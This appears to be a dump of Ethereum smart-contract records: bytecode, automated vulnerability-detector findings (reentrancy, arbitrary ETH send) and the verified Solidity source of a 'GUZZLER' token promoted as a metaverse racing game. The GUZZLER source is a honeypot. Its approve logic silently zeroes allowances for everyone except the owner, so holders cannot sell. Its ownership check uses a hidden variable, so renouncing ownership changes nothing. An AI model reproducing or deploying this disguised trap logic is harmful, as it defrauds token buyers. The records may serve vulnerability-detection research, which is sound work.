ffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122036b96742d6acd739a59ce28ef60b0f16152773d4030d94e788fcc05e0a7a69c564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,032 |
0x379f4ba42ff62ae91a51658e81c592e5f94e4b23
|
/**
*Submitted for verification at Etherscan.io on 2021-11-27
*/
/*
🚀 GUZZLER 🚀
A TRUE METAVERSE PROJECT
Coming soon.
ALL inuyasha DAO members will have access to mint an Inuyasha exclusive operable car nft.
✅ DOXXED DEV
✅ STRONG TEAM
✅ STRONG COMMUNITY
Introducing The First PvP Blockchain Racing Game with Customizable and Operable NFTs for your journey through the Metaverse.
Launching Soon on the InuYasha DAO LaunchPad
Build your car.
Race your car.
Take your car cross open world and drive in the metaverse.
Guzzler TG:
https://t.me/GZLRofficial
Guzzler Website:
https://guzzler.io
InuYasha TG:
https://t.me/inuyashaofficial
InuYasha Website:
https://inuyasha.io
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract GUZZLER is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**9* 10**18;
string private _name = 'GUZZLER ' ;
string private _symbol = 'GZLR';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b945d0d10b03fe3c21dff125fc13a0d2150143c1cad4fce38cb3a00d39b18ec264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,033 |
0x0c79ab465d167410e5b73da6cde2f1256eb60e45
|
/**
*Submitted for verification at Etherscan.io on 2021-05-11
*/
